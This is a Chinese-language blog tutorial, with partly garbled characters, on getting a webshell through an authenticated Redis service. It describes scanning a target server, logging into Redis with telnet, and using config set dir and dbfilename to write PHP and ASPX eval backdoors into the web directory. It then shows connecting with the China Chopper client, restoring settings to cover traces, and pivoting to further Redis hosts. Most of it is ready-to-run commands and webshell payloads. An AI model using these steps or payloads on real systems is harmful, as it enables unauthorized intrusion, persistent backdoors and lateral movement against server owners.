天天看點

Redis賬号擷取webshell實戰

Redis賬号擷取webshell實戰

1.掃描某目标伺服器端口資訊

通過nmap對某目标伺服器進行全端口掃描,發現該目标開放Redis的端口為3357,預設端口為6379端口,再次通過iis put scaner軟體進行同網段伺服器該端口掃描,如圖1所示,擷取兩台開放該端口的伺服器。

Redis賬号擷取webshell實戰

圖1掃描同網段開放該端口的伺服器

2.使用telnet登入伺服器

使用指令“telnet ip port”指令登入,例如telnet 1**...76 3357,登入後,輸入auth和密碼進行認證。

3.檢視并儲存目前的配置資訊。

通過“config get指令”檢視dir和dbfilename的資訊,并複制下來留待後續恢複使用。

config get dir
config get dbfilename
           

4.配置并寫入webshell

(1)設定路徑

config set dir E:/www/font
           

(2)設定資料庫名稱

将dbfilename對名稱設定為支援腳本類型的檔案,例如網站支援php,則設定file.php即可,本例中為aspx,是以設定redis.aspx。

config set dbfilename redis.aspx
           

(3)設定webshell的内容

根據實際情況來設定webshell的内容,webshell僅僅為一個變量,可以是a等其他任意字元,下面為一些參考示例。

set webshell "<?php phpinfo(); ?>" 
 //php檢視資訊
set webshell "<?php @eval($_POST['chopper']);?> " 
 //phpwebshell
set webshell "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
// aspx的webshell,注意雙引号使用\"
           

(4)儲存寫入的内容

save
           

(5)檢視webshell的内容

get webshell
           

完整過程執行指令如圖2所示,每一次指令顯示“+OK”表示配置成功。

Redis賬号擷取webshell實戰

圖2寫入webshell

  • 測試webshell是否正常

    在浏覽器中輸入對應寫入檔案的名字,如圖3所示進行通路,出現類似:

    “REDIS0006?webshell’[email protected]攙???”則表明正确擷取webshell。

    Redis賬号擷取webshell實戰

    圖3測試webshell是否正常

    6.擷取webshell

    如圖4所示,使用中國菜刀後門管理連接配接工具,成功擷取該網站的webshell。

    Redis賬号擷取webshell實戰

    圖4擷取webshell

    7.恢複原始設定

    (1)恢複dir

    config set dir dirname

(2)恢複dbfilename

config set dbfilename dbfilename
           

(3)删除webshell

del webshell
           

(4)重新整理資料庫

flushdb
           

8.完整指令總結

telnet 1**.**.**.31 3357
auth  ******
config get dir
config get dbfilename
config set dir E:/www/font
config set dbfilename redis2.aspx
set a "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
save
get a
           

9.檢視redis配置conf檔案

通過webshell,在其對應目錄中發現還存在其它位址的redis,通過相同方法可以再次進行滲透,如圖5所示,可以看到路徑、端口、密碼等資訊。

Redis賬号擷取webshell實戰

圖5檢視redis

更多攻防内容請歡迎通路本人在csdn上面創造的個人專欄:

《密碼安全攻防技術精講》:https://gitbook.cn/gitchat/column/5afbf24f753289354cab7983

繼續閱讀